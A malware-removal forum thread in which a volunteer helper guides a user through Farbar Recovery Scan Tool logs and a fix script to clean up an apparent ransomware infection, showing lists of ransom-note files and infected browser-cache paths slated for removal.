(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 MBAMScheduler; D:\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2014-11-21] (Malwarebytes Corporation)
R2 MBAMService; D:\Malwarebytes Anti-Malware\mbamservice.exe [969016 2014-11-21] (Malwarebytes Corporation)
S4 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2009-07-13] (Microsoft Corporation)

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 AegisP; C:\Windows\System32\DRIVERS\AegisP.sys [17801 2015-03-02] (Meetinghouse Data Communications) [File not signed]
R3 BLKWGD; C:\Windows\System32\DRIVERS\BLKWGD.sys [463872 2005-06-01] (Belkin Corporation.)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [19984 2015-03-06] ()
S3 IPN2120; C:\Windows\System32\DRIVERS\LSIPNDS.sys [96256 2003-07-10] (The Linksys Group, Inc.)
R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [23256 2014-11-21] (Malwarebytes Corporation)
R3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [114904 2015-03-12] (Malwarebytes Corporation)
R3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [51928 2014-11-21] (Malwarebytes Corporation)
R3 odysseyIM3; C:\Windows\System32\DRIVERS\odysseyIM3.sys [62673 2003-05-14] (Funk Software, Inc.)
U5 VWiFiFlt; C:\Windows\System32\Drivers\VWiFiFlt.sys [48128 2009-07-13] (Microsoft Corporation)

==================== NetSvcs (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)

==================== One Month Created Files and Folders ========

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-11 22:52 - 2015-03-12 19:16 - 00000000 ____D () C:\ProgramData\JiglEduvj
2015-03-11 19:53 - 2015-03-11 19:53 - 00008706 _____ () C:\Users\Tim\HELP_DECRYPT.HTML
2015-03-11 19:53 - 2015-03-11 19:53 - 00008706 _____ () C:\Users\Tim\Downloads\HELP_DECRYPT.HTML
2015-03-11 19:53 - 2015-03-11 19:53 - 00008706 _____ () C:\Users\HELP_DECRYPT.HTML
2015-03-11 19:53 - 2015-03-11 19:53 - 00008706 _____ () C:\HELP_DECRYPT.HTML
2015-03-11 19:53 - 2015-03-11 19:53 - 00004296 _____ () C:\Users\Tim\HELP_DECRYPT.TXT
2015-03-11 19:53 - 2015-03-11 19:53 - 00004296 _____ () C:\Users\Tim\Downloads\HELP_DECRYPT.TXT
2015-03-11 19:53 - 2015-03-11 19:53 - 00004296 _____ () C:\Users\HELP_DECRYPT.TXT
2015-03-11 19:53 - 2015-03-11 19:53 - 00004296 _____ () C:\HELP_DECRYPT.TXT
2015-03-11 19:53 - 2015-03-11 19:53 - 00000304 _____ () C:\Users\Tim\HELP_DECRYPT.URL
2015-03-11 19:53 - 2015-03-11 19:53 - 00000304 _____ () C:\Users\Tim\Downloads\HELP_DECRYPT.URL
2015-03-11 19:53 - 2015-03-11 19:53 - 00000304 _____ () C:\Users\HELP_DECRYPT.URL
2015-03-11 19:53 - 2015-03-11 19:53 - 00000304 _____ () C:\HELP_DECRYPT.URL
2015-03-11 19:52 - 2015-03-11 19:52 - 00008706 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.HTML
2015-03-11 19:52 - 2015-03-11 19:52 - 00008706 _____ () C:\Users\Tim\AppData\HELP_DECRYPT.HTML
2015-03-11 19:52 - 2015-03-11 19:52 - 00004296 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.TXT
2015-03-11 19:52 - 2015-03-11 19:52 - 00004296 _____ () C:\Users\Tim\AppData\HELP_DECRYPT.TXT
2015-03-11 19:52 - 2015-03-11 19:52 - 00000304 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.URL
2015-03-11 19:52 - 2015-03-11 19:52 - 00000304 _____ () C:\Users\Tim\AppData\HELP_DECRYPT.URL
2015-03-11 19:52 - 2015-03-11 19:52 - 00000304 _____ () C:\ProgramData\HELP_DECRYPT.URL
2015-03-11 18:23 - 2015-03-11 18:23 - 00000000 ____D () C:\Program Files\ESET
2015-03-11 18:18 - 2015-03-11 18:22 - 02347384 _____ (ESET) C:\Users\Tim\Downloads\esetsmartinstaller_enu.exe
2015-03-10 22:31 - 2015-03-11 17:17 - 00135664 _____ () C:\Users\Tim\AppData\Roaming\log.html
2015-03-10 22:31 - 2015-03-10 22:31 - 00000648 _____ () C:\Users\Tim\AppData\Roaming\key.dat
2015-03-10 22:14 - 2015-03-11 17:33 - 00000864 _____ () C:\Users\Tim\Downloads\Search.txt
2015-03-10 19:12 - 2015-03-12 06:04 - 00000000 ____D () C:\Windows\FrameworkUpdate
2015-03-10 13:19 - 2015-03-10 13:20 - 00709564 _____ () C:\Users\Tim\Downloads\delfix_10.8.exe
2015-03-08 20:49 - 2015-03-12 19:42 - 00114904 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2015-03-08 20:49 - 2015-03-08 20:49 - 00000621 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
2015-03-08 20:48 - 2015-03-08 20:49 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware
2015-03-08 20:48 - 2015-03-08 20:48 - 00000000 ____D () C:\ProgramData\Malwarebytes
2015-03-08 20:48 - 2014-11-21 06:14 - 00075480 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbamchameleon.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00051928 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mwac.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00023256 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbam.sys
2015-03-08 20:20 - 2015-03-08 20:40 - 20447072 _____ (Malwarebytes Corporation ) C:\Users\Tim\Downloads\mbam-setup-2.0.4.1028.exe
2015-03-08 19:53 - 2015-03-11 17:17 - 00000000 ____D () C:\AdwCleaner
2015-03-08 19:48 - 2015-03-08 19:49 - 02126848 _____ () C:\Users\Tim\Downloads\adwcleaner_4.111.exe
2015-03-08 19:41 - 2015-03-08 19:41 - 00005296 _____ () C:\Users\Tim\Desktop\JRT.txt
2015-03-08 15:39 - 2015-03-08 15:45 - 01388333 _____ (Thisisu) C:\Users\Tim\Downloads\JRT.exe
2015-03-08 15:21 - 2015-03-10 20:14 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2015-03-08 14:57 - 2015-03-08 15:17 - 00805792 _____ () C:\Users\Tim\Desktop\ListCWall.txt
2015-03-08 14:55 - 2015-03-08 14:57 - 00452424 _____ (Bleeping Computer, LLC) C:\Users\Tim\Downloads\ListCWall.exe
2015-03-07 15:18 - 2015-03-07 15:23 - 00509440 _____ (Tech Support Guy System) C:\Users\Tim\Downloads\SysInfo.exe
2015-03-07 14:30 - 2015-03-11 17:24 - 00000000 ____D () C:\Users\Tim\Downloads\FRST-OlderVersion
2015-03-07 13:59 - 2015-03-10 19:11 - 00025600 _____ () C:\Users\Tim\Downloads\Shortcut.txt
2015-03-07 13:59 - 2015-03-10 19:11 - 00017136 _____ () C:\Users\Tim\Downloads\Addition.txt
2015-03-07 13:58 - 2015-03-12 20:33 - 00008142 _____ () C:\Users\Tim\Downloads\FRST.txt
2015-03-07 12:48 - 2015-03-12 20:33 - 00000000 ____D () C:\FRST
2015-03-07 02:07 - 2015-03-11 17:17 - 01135104 _____ (Farbar) C:\Users\Tim\Downloads\FRST.exe
2015-03-06 23:36 - 2015-03-06 23:36 - 00019984 _____ () C:\Windows\system32\Drivers\EsgScanner.sys
2015-03-06 22:59 - 2015-03-06 23:00 - 00018944 ___SH () C:\Users\Tim\Thumbs.db
2015-03-06 16:15 - 2015-03-06 16:16 - 00000000 ____D () C:\Program Files\Mozilla Firefox
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\Users\Public\Desktop\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\Program Files\graphic eq
2015-03-05 15:11 - 2015-03-05 15:24 - 08774480 _____ (Pantaray Research Ltd.) C:\Users\Tim\Downloads\EQDemo64.exe
2015-03-05 14:41 - 2015-03-05 14:42 - 01265198 _____ () C:\Users\Tim\Downloads\EqualizerAPO32-0.7.exe
2015-03-05 14:31 - 2015-03-05 14:34 - 01657594 _____ () C:\Users\Tim\Downloads\EqualizerAPO64-0.9.1.exe
2015-03-03 20:03 - 2015-03-03 20:03 - 00018944 ___SH () C:\Users\Tim\AppData\Thumbs.db
2015-03-02 15:41 - 2015-03-02 15:57 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Local Store
2015-03-02 14:41 - 2015-03-06 22:57 - 00000000 ____D () C:\Program Files\Enigma Software Group
2015-03-02 14:38 - 2015-03-02 14:40 - 03044736 _____ (Enigma Software Group USA, LLC.) C:\Users\Tim\Downloads\SpyHunter-Installer.exe
2015-03-02 13:52 - 2015-03-02 13:52 - 00017801 _____ (Meetinghouse Data Communications) C:\Windows\system32\Drivers\AegisP.sys
2015-03-02 13:52 - 2015-03-02 13:52 - 00001228 _____ () C:\Users\Public\Desktop\Belkin Wireless Utility.lnk
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Belkin
2015-03-02 13:52 - 2005-06-01 23:37 - 00463872 _____ (Belkin Corporation.) C:\Windows\system32\Drivers\BLKWGD.sys
2015-02-27 19:24 - 2015-02-27 19:24 - 02160179 _____ () C:\Users\Tim\Documents\Comedy.wma
2015-02-23 14:19 - 2015-03-02 14:02 - 00000000 ___HD () C:\Program Files\InstallShield Installation Information
2015-02-23 14:19 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Common Files\InstallShield
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Linksys
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Funk Software
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Common Files\Funk Software
2015-02-23 13:54 - 2015-02-23 13:52 - 01887656 _____ () C:\Users\Tim\Desktop\F5D7230-4-V3.00.05.bin
2015-02-23 13:54 - 2015-02-23 13:52 - 01674172 _____ () C:\Users\Tim\Desktop\BELKIN_AP_2.00.04.bin
2015-02-23 13:44 - 2015-02-23 13:43 - 02097152 _____ () C:\Users\Tim\Desktop\f5d7230-4_us_9.00.02.bin
2015-02-23 13:20 - 2015-02-23 13:20 - 00000000 ____D () C:\Windows\Cache
2015-02-17 22:30 - 2015-03-08 22:25 - 00000000 ____D () C:\Linksys Driver

==================== One Month Modified Files and Folders =======

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-12 19:52 - 2012-09-05 13:06 - 00000830 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-03-12 06:13 - 2011-10-16 17:38 - 00713888 _____ () C:\Windows\system32\PerfStringBackup.INI
2015-03-12 06:13 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2015-03-12 06:13 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2015-03-12 06:06 - 2014-03-17 19:14 - 00053196 _____ () C:\Windows\PFRO.log
2015-03-12 06:06 - 2009-07-14 00:53 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2015-03-12 06:06 - 2009-07-14 00:39 - 00026080 _____ () C:\Windows\setupact.log
2015-03-11 19:53 - 2011-10-16 17:30 - 00000000 ____D () C:\Users\Tim
2015-03-11 19:52 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Mozilla
2015-03-11 17:24 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator
2015-03-11 17:17 - 2014-04-21 20:11 - 00000000 ____D () C:\ProgramData\InstallMate
2015-03-11 17:17 - 2014-02-23 19:51 - 00000000 ____D () C:\ProgramData\Apple Computer
2015-03-11 17:17 - 2014-02-23 19:51 - 00000000 ____D () C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1
2015-03-10 22:31 - 2014-04-06 20:16 - 00000000 ____D () C:\Program Files\Grand Parker Casino
2015-03-10 22:31 - 2014-02-23 19:51 - 00000000 ____D () C:\Program Files\iPod
2015-03-08 22:34 - 2014-04-15 21:59 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\BitTorrent
2015-03-08 22:34 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle
2015-03-08 22:34 - 2011-10-23 23:48 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Adobe
2015-03-08 22:33 - 2012-10-31 21:47 - 00000000 ____D () C:\Users\Tim\AppData\Local\Microsoft Games
2015-03-08 22:29 - 2014-08-10 00:42 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\G001
2015-03-08 22:29 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Local\Apple Computer
2015-03-08 22:28 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Local\Mozilla
2015-03-08 21:07 - 2014-08-08 18:15 - 00000000 ____D () C:\ProgramData\AswoDnix
2015-03-08 21:05 - 2014-08-15 21:01 - 00000000 ____D () C:\ProgramData\IpsuVpak
2015-03-08 21:05 - 2014-08-15 20:35 - 00000000 ____D () C:\ProgramData\OrbiBesd
2015-03-08 21:05 - 2014-08-10 00:31 - 00000000 ____D () C:\ProgramData\IsruYacr
2015-03-08 21:05 - 2014-08-07 18:36 - 00000000 ____D () C:\ProgramData\EbvuDogn
2015-03-08 19:36 - 2009-07-13 22:37 - 00000000 ____D () C:\Windows\system32\NDF
2015-03-07 14:23 - 2009-07-14 00:53 - 00032542 _____ () C:\Windows\Tasks\SCHEDLGU.TXT
2015-03-06 22:38 - 2011-10-16 17:31 - 01547097 _____ () C:\Windows\WindowsUpdate.log
2015-03-06 16:42 - 2014-05-15 20:24 - 00000000 ____D () C:\Program Files\Mozilla Maintenance Service
2015-03-05 14:46 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Apple Computer
2015-03-03 16:15 - 2012-09-05 13:06 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2015-03-03 16:15 - 2011-10-23 23:48 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl
2015-03-02 14:41 - 2014-03-12 17:39 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2015-03-02 14:41 - 2014-03-12 17:39 - 00000000 ____D () C:\Program Files\Common Files\Adobe
2015-03-02 13:52 - 2011-10-16 17:33 - 00000000 ____D () C:\Windows\Downloaded Installations
2015-03-02 13:52 - 2005-03-14 16:19 - 00000308 _____ () C:\Windows\system32\results.txt

==================== Files in the root of some directories =======

2015-03-11 19:52 - 2015-03-11 19:52 - 0008706 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.HTML
2015-03-11 19:52 - 2015-03-11 19:52 - 0045909 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.PNG
2015-03-11 19:52 - 2015-03-11 19:52 - 0004296 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.TXT
2015-03-11 19:52 - 2015-03-11 19:52 - 0000304 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.URL
2015-03-10 22:31 - 2015-03-10 22:31 - 0000648 _____ () C:\Users\Tim\AppData\Roaming\key.dat
2015-03-10 22:31 - 2015-03-11 17:17 - 0135664 _____ () C:\Users\Tim\AppData\Roaming\log.html
2015-03-11 19:52 - 2015-03-11 19:52 - 0045909 _____ () C:\ProgramData\HELP_DECRYPT.PNG
2015-03-11 19:52 - 2015-03-11 19:52 - 0000304 _____ () C:\ProgramData\HELP_DECRYPT.URL

==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\explorer.exe => File is digitally signed
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe => File is digitally signed
C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2015-03-05 16:34

==================== End Of Log ============================


----------



## timmy12342 (Mar 7, 2015)

Also i am left with these options at the stop point of ESET.Manage Quarantine-restore,Uninstall application on close, delete quarantine files.Then the finish button of course. I will leave this program open in the background until you tell me what to do.


----------



## JSntgRvr (Jul 1, 2003)

I only need to see the report. Are you able to export a report. The Manage Quarantine option can be performed later.


----------



## timmy12342 (Mar 7, 2015)

i posted the eset scan log a few posts earlier if thats what you mean. like i said thats only 66%. i will try again to get the whole thing


----------



## JSntgRvr (Jul 1, 2003)

Please download the attached file and save it in the same directory as *FRST*.

Start *FRST* with Administrator privileges.
Press the *Fix* button.
When finished, a log file (*Fixlog.txt*) pops up and is saved to the same location the tool was run from.
Please copy and paste its contents in your next reply.

Rescan with FRST to see if gone.


----------



## JSntgRvr (Jul 1, 2003)

timmy12342 said:


> i posted the eset scan log a few posts earlier if thats what you mean. like i said thats only 66%. i will try again to get the whole thing


OK. Run the Fix above to have less detections.


----------



## timmy12342 (Mar 7, 2015)

Fix result of Farbar Recovery Tool (FRST written by Farbar) (x86) Version: 11-03-2015
Ran by Tim at 2015-03-13 00:29:35 Run:13
Running from C:\Users\Tim\Downloads\FRST-OlderVersion
Loaded Profiles: Tim (Available profiles: Tim)
Boot Mode: Normal

==============================================

Content of fixlist:
*****************
Start
CloseProcesses:
C:\ProgramData\JiglEduvj
C:\Users\All Users\JiglEduvj
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\c45mmhGVYS[1].exe
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\co[1].htm 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\d[1]
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\e53c449dc9b0421405372892[1].exe
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\e53c82c16437a51405627414[1].exe
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\IA6nhaGtsF[1].exe
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\ie8910[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[1].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[2].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[3].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[4].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[5].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[6].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[1].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[2].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[3].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[4].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8RA779V0\co[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\5c84b2e119f7faec6119b63fc1832181[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_71[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_71[3].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_71[4].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[2].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[3].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[4].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[5].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[6].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[7].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\d[1].txt
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\ie8910[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\logos[1].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\logos[2].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\logos[3].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\nhgi[1].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IILPQS17\6cdt8jC2fI[1].exe
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IILPQS17\co[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\KG99TI1Y\logos[1].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\KG99TI1Y\T0hYkHAEYK[1].exe
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QPZN6M51\oVx9hAn5Ja[1].exe
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\dd[1]
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\dd[2]
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\d[1].txt
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\F8zDlYv5Ds[1].exe
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\hidecounter2[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\ie8910[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\ie8910[2].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\ie8910[3].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\logos[1].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\logos[2].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\logos[3].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\nki451e7z1[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\rKU7Tfxgc8[1].exe
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\188_138_68_69[3].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[3].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[6].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[7].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_72[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_72[3].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_72[6].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\9ne5fa1np1[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\bc3fspxe0t[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\dd[1]
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\ie8910[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\ie8910[2].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\ktlypjs[1].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\logos[1].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\logos[2].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\logos[3].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\pagbkmumt9[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\zrkej[1].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\zrkej[2].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\zrkej[3].php
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XHEEILH6\01b0828fa489fd3d0f682d24ac050e89[1].htm
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XHEEILH6\9SgYypAUMi[1].exe
C:\Users\Tim\AppData\Local\Temp\1438\AppData\Local\Microsoft\Windows\Tempor ary Internet Files\Content.IE5\SD9YSWFM\nHhy6.exe
C:\Users\Tim\AppData\Local\Temp\15a0\AppData\Local\Microsoft\Windows\Tempor ary Internet Files\Content.IE5\QTTZZ3LW\3820af3ab51554a877fb020c48fe8036[1].swf
C:\Users\Tim\AppData\Local\Temp\638c\AppData\Local\Microsoft\Windows\Tempor ary Internet Files\Content.IE5\AGFCFFHP\46cbccc9b10886a4e71551c67a986fb3[1].htm
C:\Users\Tim\AppData\Local\Temp\ac4\AppData\Local\Microsoft\Windows\Tempora ry Internet Files\Content.IE5\0YE78E0B\banner[1].swf
C:\Users\Tim\AppData\Local\Temp\4681.tmp
C:\Users\Tim\AppData\Local\Temp\9ED0.tmp
C:\Users\Tim\AppData\Local\Temp\ADB0.tmp
C:\Users\Tim\AppData\Local\Temp\DB42.tmp
C:\Users\Tim\AppData\Local\Temp\E340.tmp
C:\ProgramData\AswoDnix
C:\ProgramData\IpsuVpak
C:\ProgramData\OrbiBesd
C:\ProgramData\IsruYacr
C:\ProgramData\JiglEduvj
C:\ProgramData\EbvuDogn
C:\Users\Tim\AppData\Roaming\log.html
C:\Users\Tim\AppData\Roaming\key.dat
C:\Users\Tim\AppData\Roaming\key.dat
C:\Users\Tim\AppData\Roaming\log.html
